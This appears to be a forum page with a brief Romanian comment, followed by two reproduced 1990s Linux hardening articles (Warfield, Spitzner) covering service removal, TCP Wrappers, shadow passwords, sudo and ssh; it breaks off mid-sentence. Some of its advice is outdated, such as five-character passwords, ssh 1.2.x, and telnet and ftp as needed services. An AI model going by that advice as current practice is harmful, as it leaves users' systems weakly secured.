Am si eu un astfel de amic, numai ca el nu cred ca stie ce e ala scam. Keylogger i-am aratat ce e, am testat Digitalul meu. Se crede hacker, chiar daca i-am demonstrat de multe ori ca e ratat. A, Linux-ul pentru el e antivirus.

Elementary security for your Linux box. Author: Michael H. Warfield I'll say at the outset that I feel that the title "Securing Linux" is somewhat misleading. It implies that one can somehow go through a series of steps and emerge at the end with a secure Linux system or network. That isn't true. The real intent of this two-part series is to help you improve the security of your system and to get you to think securely. One without the other is unlikely to succeed. Security is a state of mind Ultimately, security isn't something that is achieved as an end goal; it isn't a state. Rather, it's a way of setting up, maintaining, and running an operating system, network, or environment. Security is a process and a mind-set as well as a condition. It depends on the day-to-day actions of the system or network's users and system administrators. It also depends on the system security not being so intrusive that it encourages users and administrators alike to work around it. But you have to start somewhere, and that somewhere is to improve the security of your system as much as possible while still meeting your operational needs. A system that isn't connected to any network or phone lines and is kept in a locked room is reasonably secure -- but it will meet few of your needs. From there we embark on a series of compromises between the best possible security and the least inconvenience and difficulty that will serve our purposes. Some of these tips are specific to Linux systems, but many are very general principles that apply to all systems and networks -- not just to Unix (or Unix-like) OSs. Less is more Applying the Principle of least privilege and the Principle of minimum access ensures that you open up your system to the least amount of risk. Users are allowed only enough privilege and access to do their work, and no more. Principle of least privilege Users, applications, and even systems should be granted the least amount of privilege required to accomplish their respective tasks. This approach reduces the opportunity for accidental compromise of the system. Ideally, security should not be a burden on your users. It should not get in the way of their ability to accomplish their tasks. Unfortunately, this isn't always the case. You must strike the right balance in terms of who is allowed to do what, and when. Principle of minimum access "That which is not explicitly permitted is denied." This is one of the basic mantras of firewall design. It applies equally well to security in general. In a secure system, you grant access by intent and deny everything else by default. Permission takes place by will or by action. This is a simple fail-safe principle. If you "fail" to take action, you end up failing into a "safe" state (access denied). Set up your basic security mechanisms to deny everything unless you explicitly configure it to be allowed. Set the /etc/hosts.allow file to allow localhost only, and set the /etc/hosts.deny file to deny everything else. With that as a starting point, you can decide who and what will be granted which access, and everything else will be blocked. The default should always be "No!" Do the same thing with your firewall rules, whether you're using a standalone box or a networked system. Firewall code is a useful feature, even if you aren't routing traffic between systems. The Linux kernel has firewall code built in. It just needs to be enabled and configured -- which is well worth the effort. Planning Plan ahead and plan to distribute services. Even before you begin an installation (and, ideally, before you purchase system software solutions), make a detailed plan of your intended security defenses. On paper. Some basic steps along the road Before you decide how to secure your systems, you must first decide how you intend for them to be used. Decide what services each box will use on the network and what services each box you administer will offer to the network. This helps form a security policy. That policy or plan can be simple for simple systems, or it can be a large book for large sites and networks. In either case, it helps to decide what you want to do before you do it. The creation of this policy is also the most frequently overlooked step in developing a secure system. Network layout and design considerations If your site or networks permit it, compartmentalize functions. While this may be impractical for the home user with a single box, one should put different functions on different systems whenever possible. Your DNS, FTP, Web, mail, and firewall should not all be on the same system. If they are, and one service is compromised, they all will be compromised. Placing functions on separate systems limits the damage potential of a successful attack. If you have a limited number of systems and must therefore combine functionality, your security issues are more complicated. You will have to depend on your authentication and authorization systems to provide the isolation that could have been provided by separate boxes. Installation A secure system starts with a secure install. This is one area where the various Linux distributions fail to do an adequate job. All of the distributions are guilty of making it too easy to set up insecure or misconfigured installations. Many of them enable services that the new user is unlikely to be aware of, or enable services before they are fully configured. Some vendors and consultants are now complaining that Linux is much too easy to install, because it allows users to unknowingly install poorly configured servers and shoot themselves in the foot. They are correct. Security starts with the installation Until the Linux distribution vendors wise up and start out with a secure configuration, it's up to the user to turn a basic installation into one with a reasonable shot at being secure. When you're installing your system, never install software unless you intend to use it! Resist the temptation to "just install everything." Some of the things you so casually install could come back to haunt you during a system attack. If your distribution permits it -- and not all do -- hold off on enabling services until you're familiar with them and have configured them. Some distributions assume that if you're installing a service, it should be enabled. If you aren't sure, don't install it! Secure services Internet and network services are among the most vulnerable parts of your system. Whether you're planning a new installation or reviewing security on an existing system, your file servers, e-mail services, Web servers, FTP, and other network services should be among the first things you check for security holes. Some services will obey the /etc/hosts.accept and /etc/hosts.deny configurations if they've been compiled with the TCP Wrapper library, but not all will. Use the firewall code along with the TCP Wrapper configurations to secure your services. Secure file serving If you're exporting any filesystems via NFS, SMB, Samba, or anything else, make sure your access permissions are carefully checked. Never run NFS, SMB, or NIS over the Internet. The risk is just too great. (NIS is jokingly referred to as "network intruder service" and some have referred to NFS as "no file security.") NFS in particular uses UDP and depends on peer addresses for authentication and authorization. But peer addresses are trivial to spoof for UDP! E-mail security If you're running POP or IMAP for remote downloading of e-mail, switch to an SSL-encrypted version. You can use stunnel or edssl to set up SSL-enabled mail servers. Several e-mail clients support SSL POP and/or SSL IMAP, including Netscape and Microsoft Outlook. SSL-enabled fetchmail is available from the North American Cryptographic Archives. If you aren't intending to run POP or IMAP, make sure you really aren't running them. Some distributions enable these by default. Some of the "bad guys" out on the Net are now engaged in massive parallel-port scanning for IMAP servers. If you leave the backdoor open for one of them to get your number, the next time a major root compromise is discovered in IMAP (for example) he or she could promptly come knocking. If you don't know you're running IMAP, you'll have no reason to know when security patches or updates to it become available. Without these upgrades, an intruder could be root on your system before you know what hit you. Secure Web services If you're running a Web server, check and recheck your CGI scripts. Do not allow other users to install arbitrary CGI scripts. Do not use unrestricted server-side includes (SSIs). IRC is one common example of a chat system -- many other chat systems also work with Web servers. If you have any kind of chat server running on your system, make sure common users can't insert arbitrary HTML (hostile JavaScript anyone?) into pages where your Web server can serve them up. Securing FTP If you're operating an anonymous FTP service, watch your permissions closely! Don't allow any directories to be both readable and writable by anonymous users. If you want to permit anonymous uploads to your system, provide a write-only directory and prohibit directory creation underneath it. If you permit a location to be both readable and writable, you not only allow your system to be a "warez" (pirateware) repository, but you also open up your system to being used for "FTP bounce" attacks against other systems. If you're not running anonymous FTP -- make sure you're not. A lot of distributions enable anonymous FTP by default. Disable telnet and finger If you're running telnet, rlogin, or rsh to access your system remotely -- Why?!?!? These are seriously insecure and allow passwords and userids to be "sniffed." For remote access, use secure shell (ssh) connections and disable all nonencrypted remote access to the server. The ssh package can be downloaded and installed very easily. ssh isn't available on any Linux distribution originating in the United States due to US export restrictions on cryptography. Some distributions from outside of the US do include cryptography modules and applications such as ssh and PGP in the base distributions and installations. finger is often configured and available on default installations. Unless you have a specific need for this service, disable it or restrict network access to it. finger provides far too much information about your users to would-be intruders. It is also instrumental in certain advanced forms of denial-of-service attacks such as "nisnuke" on large networks. Up and running Once your system is set up, be sure to keep track of the services you're running. Keep a close eye on services and applications by monitoring your UDP and TCP ports. Tracking down services Go through your system and make sure you're not running any services you don't intend to run, haven't configured, aren't using, or don't understand. I helped a Web site clean out an intruder who broke in using innd, even though the site wasn't running a news system. Installing services that users don't need or understand is a major strike against every Linux distribution -- and most other OSs -- out there. If you run it, they will come Examine /etc/inetd.conf and disable any service you don't want to be running or don't understand. If you do this simply by commenting out the services you don't want, you can easily reenable a service at a later date. But very few of us need echo, chargen, or discard. If you don't need a service, don't use it. And if you don't know what it is, don't run it until you find out. With a typical workstation configuration, it may be possible to turn off all services. For instance, if your machine isn't running any inetd services, you don't need to run the inetd at all. Find out who's listening to what Run nstat -a and look for any unusual ports or services. If you see a TCP port in the state of LISTEN and you can't identify the local port or service, track it down and decide if it's something you really want to be running. Do the same for any UDP ports you find. If it isn't something you specifically want, shut it down. If it's something you want locally but don't want outsiders to access, use the Linux firewall code to block outside access to it. If you have trouble determining what application is listening on a TCP port or opening a UDP port, use the lsof package to track it down. Keep up with the times Keep all software and distributions current with any updates released by the distributor. If the distributor doesn't have a mechanism in place for announcing updates or alerts, consider finding a different distributor. Install updates as soon as they become available. Far too many systems have been broken into because of out-of-date imapd servers, even when updates had been available for months. Password and authentication security Passwords can be the most underestimated security feature you have. Make sure that neither you nor your users are using transparent (easily guessed) passwords, and make sure that your passwords are safe from unauthorized intruders. Good passwords It is frankly stupefying to discover how lax some administrators are about secure passwords. Passwords should be at least five characters long, should mix letters with numbers or other atypical characters, and should be changed several times a year, at the least. Your users should know that password sharing isn't allowed, and former users should be deleted from systems after a reasonable amount of time has passed (i.e., former users should be allowed time to alert all correspondents of their new e-mail address). Ex-user accounts can usually be password-disabled immediately upon the employee's departure. Be aware that more attacks come from disgruntled employees than from any other source. If users are in the habit of sharing passwords, a disgruntled attacker could have access to your system even if you have disabled his or her account. Proceed with caution before implementing this next bit of advice: To ensure that you're not using transparent passwords, you can run the program crack on your own password system. Running crack on your personal system or any system on which you're the administrator is fine. But do not run this program on a system for which you do not have administrative privileges without the consent of the system's management! Warning! Some companies and ISPs take offense at users having "cracker tools" such as crack, or any of a variety of sniffing and scanning tools (described in the section called "Eternal Vigilance") on their systems. If you aren't an administrator on a system, make sure you have permission to possess these items and that the administrator is aware of them. Some people consider the possession of lockpicks to be no different than the possession of burglar tools. If you have tools for cracking passwords or breaking into systems, you may be setting yourself up to answer some very intense questions. Some ISPs don't even ask questions first. Providers have been known to cancel accounts merely for the possession of cracking tools. Don't take the chance. Don't even download these tools if you don't have your administrator's permission! Password handling Not only should you never share passwords or give your passwords out to anyone, you should never leave passwords written down where they can be read. Intruders known as dumpster divers periodically go through the trash looking for scraps of paper with passwords on them. Destroy all security information before discarding. Additional password security If you aren't running a distribution that supports PAM (Pluggable Authentication Modules), then get one. PAM makes it relatively simple to enable advanced password checking, encryption, and longer passwords. When you have it, enable it and use it. If you aren't in a network requiring single sign-on authentication (NIS, NIS+, Kerberos, etc.), enable shadow passwords and MD5 (Message Digest algorithm) hashing. This enables long passwords and makes them much tougher to crack with brute force, and much tougher to steal if you aren't the superuser. Security and the privileged user Never perform routine operations as root! Do your routine work as a nonprivileged user and step up to root only when needed. This is a common mistake of most newbies to Linux (and Unix in general). When you (or a user or a program) must run as root, take the proper security precautions. Don't run as root A couple of years ago we had a Linux "virus" running around. Actually, while some were sure "Bliss" was a virus, others thought it was merely a worm or a trojan. In hindsight, it's probably safe to say that it was something of a hybrid -- mixing a little bit of each. But the important thing is that it only propagated because people were running as root, allowing it to modify system binaries. This is very bad practice. This rule can't possibly be understated! If you routinely run as the root user, you might as well be running DOS -- you have just about that much security! By not running routinely as root, you also reduce the likelihood of "accidents." My son discovered that, if he was running as root, any changes he saved to his desktop were saved to the systemwide configurations. He found out what a bad idea this can be when he got part of the configuration wrong and was then unable to get any account to work right! This kind of accident could lead to unforeseen side-effects and security compromises. Never use a browser or chat program when running as root! While the chance of a hostile applet --- written in Java, ActiveX, or some other language -- is remote, it isn't worth the risk. The destructive capability of such applets is magnified manyfold if you're running as root. What you can do with sudo The program sudo is a useful tool to allow trusted users to perform certain functions as though they were root -- while at the same time limiting their ability to really function as the superuser. It also provides convenient access to those utilities that require root permission to run. By using sudo you avoid the overuse of suid. As with any security tool, sudo should be used with caution. While running a command under sudo, the user's permissions are elevated to root. This makes any potential bugs or security holes in the command or program you're running under sudo more serious than they would be if you were running them as a normal user. For instance, a shell escape out of a sudo-run command is a potential root backdoor. Even some programs that expect to be run only as root can become a security hole under sudo. If the program assumes that only root can run it, and if that program then permits the execution of external commands, there is the potential for the user calling sudo to execute arbitrary commands as root. For this reason, sudo should only be used by trusted users, and with great caution. Beware of software bearing trojans Watch out for trojans! There is a reason why root shouldn't normally have single dots (.) anywhere in his or her path. This helps avoid the danger of having a trojan program like ls sitting in a directory waiting for the superuser to come looking to see what's there. Some distributions still allow single dots in the superuser path. Some distributions have different paths for when you log in as root and when you su to superuser. If a single dot is in the path for either root login or for su to superuser, it should be removed. While its removal isn't a foolproof preventative against trojans, it does help reduce that danger. Trojans are also a serious concern for normal users when it comes to any application that prompts for a password, such as su (since ordinary users can su to any other username to which they have access). Programs that prompt for a password should only be executed as an absolute path to the binary. One way to encourage this is to insert alias su /bin/su into the files /etc/profile and /etc/bashrc so that bash users will automatically use the absolute path. Use the groups, Luke Often, jobs that need root access could be done just as well and more securely through the proper use of group ownerships and secondary group membership. It takes more time to set this up properly, but once it's done right, it more effectively protects system security while granting the access required by normal users. It's very easy and convenient when there are only one or two users on a system to simply perform all maintenance tasks by stepping up to root. But once you have a lot of users and wish to delegate the authority for various tasks to different users, it becomes impractical and dangerous to allow superuser access to everyone performing maintenance. It's well worth the effort to implement an effective group membership configuration when the system is simple, before you really need it -- or before it's too late. Cryptography and security Cryptography is a good thing. It can protect our files, our e-mail, and our communications. Widespread use of cryptography will improve and change the security landscape. Take advantage of cryptography wherever its use is appropriate. With any cryptographic system, the key is the key. The security of your cryptography depends on the security of your key. That can be a private key stored on a system, or a password, or a smart card key. If you decide on a crypto system to guard your security, your problems aren't solved, they've merely changed. Now, instead of guarding your front door, you must guard the keys to the lock on the door. Encrypted communications SSL began its career securing Web servers for e-commerce, and has since been applied to FTP and telnet, as well as to POP and IMAP e-mail services. In addition to simple remote shells and secure copying, ssh is capable of forwarding many services and even tunneling PPP to provide a form of VPN service. Several remote services, such as cvs, rsync, and rdist, can take advantage of ssh to secure their underlying communications. If you want to protect your e-mail, your open source choices are PGP and S/MIME (there are, additionally, several proprietary schemes). Both PGP and S/MIME have advantages and disadvantages, and both have interoperability problems and usability problems. When was the last time you checked the validity of a PGP signature? The "web of trust" model of PGP distributes well, but transitive trust (I trust Sue and Sue trusts Adam but do I trust Adam?) doesn't scale well. The "authority" model of S/MIME has its own scaling problems. Additionally, S/MIME has an annoying infrastructure (and some would say, tax) associated with it. Encrypted files If you want to protect the files on your system, there are several cryptographic filesystems available for Linux, including Matt Blaze's CFS (Crytographic File System). These help secure your files. But on a multiuser system, you still must watch out for trojan password traps and sniffers. Your filesystem encryption is only as secure as the passwords you use to access it. FreeS/WAN The FreeS/WAN project is developing IPSec for Linux. This is now available for both 2.0 kernels and 2.2 kernels, and it interoperates with many other IPSec implementations. For encrypting VPNs and private connections, this is the way to go. To connect gateways between two or more widely dispersed networks, this is the tool to use. Running host to host, however, it is very cumbersome and it will not operate over IP masquerading firewalls or gateways. Further, it isn't trivial to install, and you must guard your keys religiously. Don't be lulled into a false sense of (encrypted) security The tools mentioned here enhance the security of communications, but may or may not improve overall system security. If someone cracks a password by brute force, they're just as free to use the secure channels of access as are authorized users. A recently well-publicized break-in at RootShell was done through ssh. The problem wasn't a vulnerability of ssh -- the attackers had obtained the root password through other means and had simply connected in as if they belonged there. For these reasons, even IPSec isn't the end-all, be-all of security on the Internet. It may eliminate spoofing or certain types of passive sniffing attacks, but it won't stop brute force attacks or protocol attacks. Your e-mail may not be sniffable any longer, but it can still be read if someone compromises and gains access to your system. Your credit card number won't necessarily be sniffed while it's traveling along the wire on its way to an insecure Web server -- but most credit card theft is the result of intruder access to the insecure server itself, not sniffing. Eternal vigilance Once you've secured your installation and checked your basic security and services, your work isn't over. In fact, the job of keeping your system secure is never over. Even if with eternal vigilance, someone, sometime, is likely to get in. With or without the help of any one of a number of monitoring programs, you must keep a watchful eye on what is going on in your system. If you can't block 'em, catch 'em! Enable the firewalling code, even on single systems, and block everything that you don't understand or specifically want on your system. This can put a serious crimp in some rootkit backdoors. Watch out for unusual suid programs. find can be used to locate all of the suid binaries, which can then be tracked for changes or additions. Scan that system! Run a network security scanner on your system! SATAN is one such scanner. Nessus is an excellent open source scanner, as is Trinux. Trinux is a tiny distribution that can boot from floppy disks and scan your network. Internet Security Systems also produces a commercial security scanner. Internet Scanner is free to download and run against your local host. Even if you don't intend to purchase Internet Scanner, or can't afford it (it can be a bit expensive), I would encourage you to get the local host evaluation copy and run it on your system (it's fully functional). Burglar alarms Install an intrusion-detection system. These vary greatly from package to package, and there are commercial and open source versions of most types. Some are host-based systems, monitoring for unauthorized changes to files; others monitor the network or network interfaces for suspicious activities. Check out Tripwire. Tripwire can alert you to modified binaries and permissions. There are commercial variations of this application, including a commercially marketed and supported version of Tripwire itself. Some of the other systems are more extensive than Tripwire, some are not. There are log-monitoring packages available from several of the security sites listed in the Resources section at the end of this article. Log monitors trigger on suspicious activity, such as repeated failed login attempts in security logs. The application can send e-mail to the system administrator or even activate a pager to inform the administrator of an attack in progress. Some are capable of performing even more drastic action, as we'll see in Part 2 of this series. Stay informed New security holes and bugs are discovered and exploited constantly, and new techniques, patches, and fixes are created to counter the threat they present. The only way to safeguard the system you've worked so hard to secure is to stay on top of new information as it becomes available. Stay on top of software updates Subscribe to the mailing lists provided by the Linux distribution vendors to provide announcements of updates or alerts. Monitor the vendor Web sites for errata and updates. Know thine enemy Browse through the various "white hat hacker" sites and get a feel for some of the recent danger points. RootShell and L0pht (both listed in the Resources section) are good places to start. There are also some Linux security sites out there. Warning! Some companies and ISPs take offense at users having "cracker tools" such as crack, or any of a variety of sniffing and scanning tools (available from the various white hat hacker sites, among others) on their systems. These tools can be useful if you run them against your own system to find security holes before a potential intruder does. But f you aren't an administrator on a system, make sure you have permission to possess these items and that the administrator is aware of them. Some people consider the possession of lockpicks to be no different than the possession of burglar tools. If you have tools for cracking passwords or breaking into systems, you may be setting yourself up to answer some very intense questions. Some ISPs don't even ask questions first. Providers have been known to cancel accounts merely for the possession of cracking tools. Don't take the chance. Don't even download these tools if you don't have your administrator's permission! Additional resources: Where they are, what they're for Poke around the public databases. Internet Security Systems (where I work) has several, and we also link to outside sites. Get on some security mailing lists, such as Linux-security or BugTraq. You can find the addresses and subscription information -- and recommended sites for further reading -- in the Resources section. The enemy within is ignorance While advanced security can be difficult to implement, a great deal can be achieved by taking the simple steps of knowing what you're running and disabling services you aren't sure about. Even small sites and single Linux systems can take steps to reduce the risk and harden their security protection. Not all of these ideas are ideal for all circumstances. You have to understand and balance your security needs, your network design, your functionality needs, and your security policy (if you have one). In any case, knowledge is your best security tool and ignorance is your worst enemy. Use our comprehensive list of Resources for even more information, and to stay abreast of developments. About the author Mike Warfield is a senior security researcher on the Internet Security Systems X-Force. He is also a member of the Samba Development Team, a founding member of the Atlanta Linux Enthusiasts, and a long-standing guru with the Atlanta Unix Users Group. He has been involved in Unix systems for over 15 years and with computer security for over 25 years. Resources Read Michael Warfield's previous On the Ramparts columns in the LinuxWorld archives: http://linuxworld.com/linuxworld/archive/columnsbydate.html#ramparts Further reading and security resources (Most of the sites listed below feature additional security resources and links.) North American Cryptographic Archives: Welcome to Cryptography.org Trinux: http://www.trinux.org/ Nessus: Tenable Network Security Psionic Software / Abacus Sentry: We’re sorry this page is no longer available RootShell: www.rootshell.com L0pht Heavy Industries: L0pht Heavy Industries Deception Toolkit: Deception ToolKit "Securing Your Linux Box," Peter Vertes (Linux Gazette, Issue 34, November 199: Linux Journal | The Original Magazine of the Linux Community Wietse Venema's collected tools and papers: ftp://ftp.porcupine.org/pub/security/index.html Solar Designer's Secure-Linux Patch: http://freshmeat.net/appindex/1998/06/14/897822718.html StackGuard: http://www.cse.ogi.edu/DISC/projects/immunix/StackGuard/ Internet Security Systems: IBM Internet Security Systems CERT Security Improvement modules: http://www.cert.org/security-improvement/ CIAC (Computer Incident Advisory Capability): http://ciac.llnl.gov/ciac/ BugTraq: bugtraq@securityfocus.com Linux-Security: linux-security@redhat.com Linux Administrator's Security Guide (LASG): https://www.seifried.org/lasg/

This article presents a systematic method to prepare your system for the Internet. Author: Lance Spitzner Organizations throughout the world are adopting Linux as their production platform. By connecting to the Internet to provide critical services, they also become targets of opportunity. To help protect these Linux systems, this article covers the basics of securing a Linux box. The examples provided here are based on Red Hat 6.0, but should apply to most Linux distributions. Installation The best place to start in armoring your system is at the beginning, OS installation. Since this is a production system, you cannot trust any previous installations. You want to start with a clean installation, where you can guarantee the system integrity. Place your system in an isolated network. At no time do you want to connect this box to an active network nor the Internet, exposing the system to a possible compromise. I personally witnessed a system hacked by a script kiddie within 15 minutes of connecting to the Internet. To get critical files and patches later, you will need a second box that acts as a go between. This second box will download files from the Internet, then connect to your isolated, configuration "network" to transfer critical files or burn the patches to a CDROM. Once you have placed your future Linux box in an isolated network, you are ready to begin. The first step is selecting what OS package to load. As of RH 6.0, you have three options, Workstation, Server, and Custom (default). I highly recommend Custom, as this allows you to choose what services are added and how the system is partitioned. The idea is to load the minimum packages, while maintaining maximum efficiency. The less software that resides on the box, the fewer potential security exploits or holes. This means if you do not need a News or Real Audio Server, don't install it. The nice thing about Linux is, if you change your mind, it is easy to add packages later. Regardless of which installation you choose, I would add the manual pages and HOWTO docs. I find the on-line man pages and docs to be a critical resource that add little risk to your system. If you selected Custom, you will be asked to partition your system. I always like to make root as big as possible and just throw everything in there, then you do not run out of room in the future. However, we do need several partitions to protect the root drive. If we were to fill the root partition with data, such as logging or email, we would cause a denial of service, potentially crashing the system. Therefore, I always recommend a separate partition for /var, this is where all the system logging and email goes. By isolating the /var partition, you protect your root partition from overfilling. I've found 400 MB to be more then enough for /var (increase this if your system will have alot of mail) . You may also consider making a separate partition for specific application purposes, especially applications that store extensive logging. If you are going to have users on your system you do not trust, you may also want to create a seperate /home directory, so malicious users cannot fille the / partition. For a standalone server, your partitions may look as follows: / - everything else /var - 400 MB swap - (I normally go with 256 MB) Once the system has rebooted after the installation, be sure to install the recommend security patches. For Red Hat, you can find these security patches at Red Hat's errata support site. Patches are critical to armoring a system and should always be updated. bugtraq@securityfocus.com or redhat-watch-list-request@redhat.com are excellent sources for following bugs and system patches. Without these patches, your system can be easily compromised. Be sure to use your go between box to get the patches, the Linux box should always remain on an isolated network. . For Red Hat, once you download the rpm, you can easily update your system using the following syntax. An excellent example of this is the security update for wu-ftpd rpm -Uvh wu-ftpd-2.6.0-14.6x.i386.rpm For systems that are already on-line, you can ftp the rpm and install it at the same time, using the following syntax. rpm -Uvh ftp://updates.redhat.com/6.1/i386/wu-ftpd-2.6.0-14.6x.i386.rpm As of RH 6.1, there is a new utility for patches called 'up2date'. I highly recommend you try this excellent utility. When ran on a local system, it determines which .rpm's need to be updated, gets those rpm's from Red Hats's web site, and then downloads and installs the updated files. This tool is highly customizable and easy to use. Eliminating Services Once you have loaded the installation package, patches, and rebooted, we are now ready to armor the operating system. Armoring consists mainly of turning off services, adding logging, tweaking several files, and configuring TCP Wrappers. First we will begin with turning off services. By default, Linux is a powerful operating system that executes many useful services. However, most of these services are unneeded and pose a potential security risk. The first place to start is /etc/inetd.conf. This file specifies which services the /usr/sbin/inetd daemon will listen for. By default, /etc/inetd.conf is configured for a variety of services, you most likely only need two, ftp and telnet. You eliminate the remaining unnecessary services by commenting them out (example A). This is critical, as many of the services run by inetd pose serious security threats, such as popd, imapd, and rsh. Confirm what you have commented out with the following command (this will show you all the services that were left uncommented) grep -v "^#" /etc/inetd.conf The next place to start are the .rc scripts, these scripts determine what services are started by the init process. For Red Hat, you will find these scripts in /etc/rc.d/rc3.d (or /etc/rc.d/rc5.d if you automatically boot to a GUI, such as Gnome or KDE). To stop a script from starting, replace the capital S with a small s. That way you can easily start the script again just by replacing the small s with a capital S. Or, if you prefer, Red Hat comes with a great utility for turning off these services. Just type "/usr/sbin/setup" at the command prompt, and select "System Services", from there you can select what scripts are started during the boot up process. Another option is chkconfig, which you will find on most distributions. The following startup scripts may be installed by default but are not critical to system functioning. If you don't need them, turn these scripts off. The numbers in the names determine the sequence of initialization, they may vary based on your distribution and version. Scripts that start with a capital K instead of a captial S are used to kill services that are already running. S05apmd (You only need this for laptops) S10xntpd (Network time protocol) S11portmap (Required if you have any rpc services, such as NIS or NFS) S15sound (Saves sound cared settings) S15netfs (This is the nfs client, used for mounting filesystems from a nfs server) S20rstatd (Try to avoid running any r services, they provide too much information to remote users) S20rusersd S20rwhod S20rwalld S20bootparamd (Used for diskless clients, you probably don't need this vulnerable service) S25squid (Proxy server) S34yppasswdd (Required if you are a NIS server, this is an extremely vulnerable service) S35ypserv (Required if you are a NIS server, this is an extremely vulnerable service) S35dhcpd (Starts dhcp server daemon) S40atd (Used for the at service, similar to cron, by not required by the system) S45pcmcia (You only need this script for laptops) S50snmpd (SNMP daemon, can give remote users detailed information about your system) S55named (DNS server. If you are setting up DNS, upgrade to the latest version of BIND, http://www.isc.org/bind.html) S55routed (RIP, don't run this unless you REALLY need it) S60lpd (Printing services) S60mars-nwe (Netware file and print server) S60nfs (Use for NFS server, do not run unless you absolutely have to). S72amd (AutoMount daemon, used to mount remote file systems) S75gated (used to run other routing protocols, such as OSPF) S80sendmail (You can still send email if you turn this script off, you just will not be able to receive or relay) S85httpd (Apache webserver, I recommend you upgrade to the latest version, http://www.apache.org) S87ypbind (Required if you are a NIS client) S90xfs (X font server) S95innd (News server) S99linuxconf (Used to remotely configure Linux systems via browser, every black-hat's dream To see how many services are running before you change the startup scripts, type ps aux | wc -l Once you are done with the installation and have turned off the startup scripts, type the command again and compare how the number of services have decreased. The fewer services running, the better. Also, confirm which are left running by executing the following command: netstat -na --ip Logging and Tweaking Once you have eliminated as many services as possible, we want to enable logging. All system logging occurs in /var/log. By default, Linux has excellent logging, except for ftp. You have two options for logging for ftp, configure /etc/ftpaccess file or edit /etc/inetd.conf. I prefer to edit /etc/inetd.conf, as it is simpler (i.e. harder to mess up . Edit /etc/inetd.conf as follows to ensure full logging of all FTP sessions. ftp stream tcp nowait root /usr/sbin/tcpd in.ftpd -l -L -i -o --- From the man pages --- If the -l option is specified, each ftp session is logged in the syslog If the -L flag is used, command logging will be on by default as soon as the ftp server is invoked. This will cause the server to log all USER commands, which if a user accidentally enters a password for that command instead of the username, will cause passwords to be logged via syslog. If the -i option is specified, files received by the ftpd( server will be logged to the xferlog(5). If the -o option is specified, files transmitted by the ftpd( server will be logged to the xferlog(5). --- snip snip --- Next comes tweaking. This involves various file administration. The first thing we want to do is secure our /etc/passwd file (this is the database file that holds your user accounts and passwords). First, we want to ensure our system is using /etc/shadow, this securely stores everyone's password as hashes in a file only root can access. This protects your passwords from being easily accessed and cracked (one of the first exploits a hacker looks for). The use of shadow passwords is default as of RH 6.0, however it never hurts to be sure. All you have to do is type the following command as root. This automatically converts your passwords to the /etc/shadow file. Of all the actions you can take to secure your system, I consider this to be one of the most important. pwconv The second step is to remove most of the default system accounts in /etc/passwd. Linux provides these accounts for various system activities which you may not need. If you do not need the accounts, remove them. The more accounts you have, the easier it is to access your system. An example is the "news" account. If you are not running nntp, a news group server, you do not need the account (be sure to update /etc/cron.hourly, as this looks for the user "news"). Also, make sure you remove the "ftp" account, as this is the account used for anonymous ftp. From the man pages. man ftpd: Ftpd authenticates users according to four rules. 4) If the user name is ``anonymous'' or ``ftp'', an anonymous ftp account must be pre-sent in the password file (user ``ftp''). In this case the user is allowed to log in by specifying any password (by convention this is given as the client host's name). For an example of my /etc/passwd file, check out example C. We also want to modify the file /etc/ftpusers (example D). Any account listed in this file cannot ftp to the system. This restricts common system accounts, such as root or bin, from attempting ftp sessions. Linux has the file by default. Ensure that root stays in this file, you never want root to be able to ftp to this system. Ensure that any accounts that need to ftp to the box are NOT in the file /etc/ftpusers. Also, ensure that root cannot telnet to the system. This forces users to login to the system as themselves and then su to root. The file /etc/securetty lists what ttys root can connect to. List only tty1, tty2, etc in this file, this restricts root logins to local access only. ttyp1, ttyp2, are pseudo terminals, they allow root to telnet to the system remotely (example E). Last, create the file /etc/issue. This file is an ASCII text banner that appears for all telnet logins (example B). This legal warning will appear whenever someone attempts to login to your system. If you want to continue using the same /etc/issue file, you will have to modify /etc/rc.d/init.d/S99local. By default, Linux creates a new /etc/issue file on every reboot. Connecting to your server For those of you who will be doing remote administration, it is critical that you develop a secured, controlled way to connect to the server. Often, you need remote access to your server for administration or the uploading of files, these communications need to be secured I will discuss two options here, ssh and TCP Wrappers. I prefer ssh, as it encrypts all communication between you and the firewall. TCP Wrappers will NOT protect your network traffic from sniffing. Users can still capture all of your keystrokes (including passwords) on the network. If you are concerned about users capturing communications to your firewall, I recommend you replace telnet/ftp with ssh. ssh will encrypt all communications to your server, allowing you both to upload files and administer the server in a secure manner. ssh is similar to TCP wrappers in that it has its own layer of logging, and can limit what systems can connect to it. For more information on ssh, you can find ssh here, including source for both ssh clients and server daemon. I recommend you use ssh version 1.2.x, as version 2.x has a limiting license. Another ssh option is Openssh. TCP Wrappers, while it does not encrypt, it does log and control who can access your system. It is a binary that wraps itself around inetd services, such as telnet or ftp. With TCP Wrappers, the system launches the wrapper for inetd connections, logs all attempts and then verifies the attempt against a access control list. If the connection is permitted, TCP Wrappers hands the connection to the proper binary, such as telnet. If the connection is rejected by the access control list, then the connection is dropped. Fortunately for us Linux users, TCP Wrappers is already installed, the only thing left for us to do is edit the /etc/hosts.allow and /etc/hosts.deny file. These files determine who can and cannot access our systems. Also, TCP Wrappers allows us to do fancy things, such as banners or spawn additional programs, such as safe_finger. The syntax is relatively simple. Put the IP address or networks in /etc/hosts.allow that you want to permit connections from. Put IP addresses or networks in /etc/hosts.deny that you do not want to permit access. By default, Linux allows connections from everyone, so you will need to modify these files. 2 recommendations when working with TCP Wrappers. Use IP addresses instead of system or domain names. Set up /etc/hosts.deny to deny everything (ALL), then permit only specific sites with /etc/hosts.allow. For examples on how to setup /etc/hosts.allow and /etc/hosts.deny, see example F. For more ideas on how to use TCPWrappers, check out Intrusion Detection. For the Truly Paranoid I consider the measures discussed above absolutely essential. By following these steps, you have greatly improved your system's security, congratulations! Unfortunately, your system is not 100% secure, nor will it ever be. So, for the truly paranoid, I have added some additional steps you can take. First we will create the wheel group. The wheel group is a group of select individuals that can execute powerful commands, such as /bin/su. By limiting the people that can access these commands, you enhance the system security. To create the group, vi the file /etc/group, create the group wheel, and add the system admins to the group. Then identify critical system binaries, such as /bin/su. Change the group ownership to wheel, and the permissions to owner and group executable only (be sure to maintain the suid or guid bit for specific binaries). For /bin/su, the commands would be: /bin/chgrp wheel /bin/su /bin/chmod 4750 /bin/su Second, we will lock down the files .rhosts, .netrc, and /etc/hosts.equiv. The r commands use these files to access systems. To lock them down, touch the files, then change the permissions to zero, locking them down. This way no one can create or alter the files. For example, /bin/touch /root/.rhosts /root/.netrc /etc/hosts.equiv /bin/chmod 0 /root/.rhosts /root/.netrc /etc/hosts.equiv Third, we configure /etc/shadow to use MD5 